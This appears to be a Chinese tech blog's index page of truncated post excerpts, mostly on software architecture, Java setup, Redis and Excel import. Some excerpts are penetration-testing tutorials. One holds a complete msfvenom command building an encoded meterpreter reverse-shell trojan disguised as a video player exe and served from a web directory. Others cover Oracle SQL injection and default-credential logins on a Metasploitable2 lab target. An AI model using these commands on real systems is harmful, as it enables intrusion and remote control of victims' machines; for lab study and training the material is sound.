Jun192022
DDD领域驱动设计在复杂业务系统中的架构实践:从领域建模到微服务拆分的完整实施路径
DDD领域驱动设计在复杂业务系统中的架构实践:从领域建模到微服务拆分的完整实施路径
引言
在当今快速发展的数字化时代,企业级应用系统日益复杂,传统的分层架构已经难以满足业务快速变化和扩展的需求。领域驱动设计(Domain-Driven Design,DDD)作为一种应对复杂业务系统的设计方法论,通过将业务领域知识与软件设计紧密结合,为构建高内聚、低耦合的系统架构提供了有效的解决方案。
...阅读全文
抢沙发
Jun192022
在Linux上安装和配置Java开发环境
Java是一种广泛使用的编程语言,适用于不同的操作系统。这篇博客将介绍如何在Linux上安装和配置Java开发环境。
步骤一:检查系统上是否已经安装Java
在终端中输入以下命令来检查系统是否已经安装Java:
java -version
如果系统已经安装了Java,则会显示Java的版本信息。如果没有安装,则会提示找不到java命令的错误。如果您已经安装了Java,您可以跳过步骤二。
步骤二:安装Java开发工具...阅读全文
Mar052022
Feb042022
Dec212021
渗透测试之后门软件
1. 制作Windows恶意软件
1.1 使用msfvenom生成后门木马
制作后门程序
sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音.exe
、
msf启动handler监听后门程序,
use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 192.168.14...阅读全文
Sep242021
sql注入之Oracle注入
Oracle注入
1.Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
2.Oracle的单行注释符号是– ,多行注释符号/**/。
判断Oracle数据库
利用函数来判断是否oracle数据 如:and len(‘a’)=1(在mssql和mysql以及db2...阅读全文
Sep142021
Redis 7.0多线程性能优化实战:从单线程到多线程架构演进,TPS提升300%的关键技术揭秘
Redis 7.0多线程性能优化实战:从单线程到多线程架构演进,TPS提升300%的关键技术揭秘
标签:Redis 7.0, 性能优化, 多线程, 数据库, 缓存优化
简介:详细解析Redis 7.0多线程架构的设计原理和优化技巧,包括IO线程池配置、网络处理优化、内存管理改进等核心技术,通过实际案例演示如何最大化利用多核CPU资源,显著提升Redis性能表现。
引言:Redis的“单线程”神话与多核时代的挑战
在20...阅读全文
Aug262021
Metasploitable2 靶机漏洞
演示环境
1、靶机: Metasploitable2-Linux
IP:192.168.184.130
2、攻击机:Kali-Linux-2021.02-amd64
IP:192.168.184.128
扫描端口
系统弱密码登录
1、在kali上执行命令行telnet 192.168.184.130
2、Login和password都输入msfadmin
3、登录成功,进入系统
4、测试如下:
PostgreSQL弱密码登录
1、在Kali上执行psql -h 192.168.184.130 –U postgres
2、输入...阅读全文
Aug192021
linux系统安全-2
4、常规安全配置
4.1 重要目录和文件权限
操作目的
合理配置重要目录和文件的权限,增强安全性
检查方法
使用命令“ls -l” 查看目录和文件的权限设置情况
加固方法
对于重要目录,建议执行如下类似操作:
#chmod -R 750 /etc/rc.d/init.d/*
这样只有root可读、写和执行这个目录下的脚本。
4.2 umask值
操作目的
设置默认的umask值,增强安全性
检查方法
使用命令“umask”查...阅读全文
May112021
.NET Core 使用 NPOI 将 Excel 中的数据批量导入到 MySQL
简介
在软件开发过程中,经常需要将Excel中的数据导入到数据库中进行进一步的处理和分析。本篇博客将介绍如何使用.NET Core和NPOI库来实现将Excel中的数据批量导入到MySQL数据库的功能。
准备工作
在开始之前,需要确保已经安装了.NET Core SDK和MySQL数据库。
安装 NPOI 库
使用以下命令来安装 NPOI 库:
dotnet add package NPOI
代码实现
首先,创建一个新的 .NET Core 控制台应用程...阅读全文